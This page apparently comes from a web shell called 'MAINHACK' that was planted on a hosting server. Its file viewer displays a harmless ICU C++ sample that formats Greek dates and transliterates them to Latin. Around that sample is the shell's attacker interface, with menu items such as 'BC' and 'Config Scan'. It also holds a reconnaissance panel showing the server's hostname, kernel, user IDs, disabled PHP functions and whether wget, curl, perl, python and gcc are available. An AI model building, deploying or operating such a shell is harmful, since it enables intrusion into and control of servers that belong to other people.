[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: main_2.cpp
File is not writable. Editing disabled.
/*********************************************************************** * © 2016 and later: Unicode, Inc. and others. * License & terms of use: http://www.unicode.org/copyright.html#License *********************************************************************** *********************************************************************** * COPYRIGHT: * Copyright (c) 1999-2002, International Business Machines Corporation and * others. All Rights Reserved. ***********************************************************************/ #include "unicode/translit.h" #include "unicode/rbt.h" #include "unicode/unistr.h" #include "unicode/calendar.h" #include "unicode/datefmt.h" #include <stdio.h> #include <stdlib.h> #include "util.h" #include "unaccent.h" int main(int argc, char **argv) { Calendar *cal; DateFormat *fmt; DateFormat *defFmt; Transliterator *greek_latin; UErrorCode status = U_ZERO_ERROR; Locale greece("el", "GR"); UnicodeString str, str2; // Create a calendar in the Greek locale cal = Calendar::createInstance(greece, status); check(status, "Calendar::createInstance"); // Create a formatter fmt = DateFormat::createDateInstance(DateFormat::kFull, greece); fmt->setCalendar(*cal); // Create a default formatter defFmt = DateFormat::createDateInstance(DateFormat::kFull); defFmt->setCalendar(*cal); // Create a Greek-Latin Transliterator greek_latin = Transliterator::createInstance("Greek-Latin"); if (greek_latin == 0) { printf("ERROR: Transliterator::createInstance() failed\n"); exit(1); } // Loop over various months for (int32_t month = Calendar::JANUARY; month <= Calendar::DECEMBER; ++month) { // Set the calendar to a date cal->clear(); cal->set(1999, month, 4); // Format the date in default locale str.remove(); defFmt->format(cal->getTime(status), str, status); check(status, "DateFormat::format"); printf("Date: "); uprintf(escape(str)); printf("\n"); // Format the date for Greece str.remove(); fmt->format(cal->getTime(status), str, status); check(status, "DateFormat::format"); printf("Greek formatted date: "); uprintf(escape(str)); printf("\n"); // Transliterate result greek_latin->transliterate(str); printf("Transliterated via Greek-Latin: "); uprintf(escape(str)); printf("\n\n"); } // Clean up delete fmt; delete cal; delete greek_latin; printf("Exiting successfully\n"); return 0; }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 690.82 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A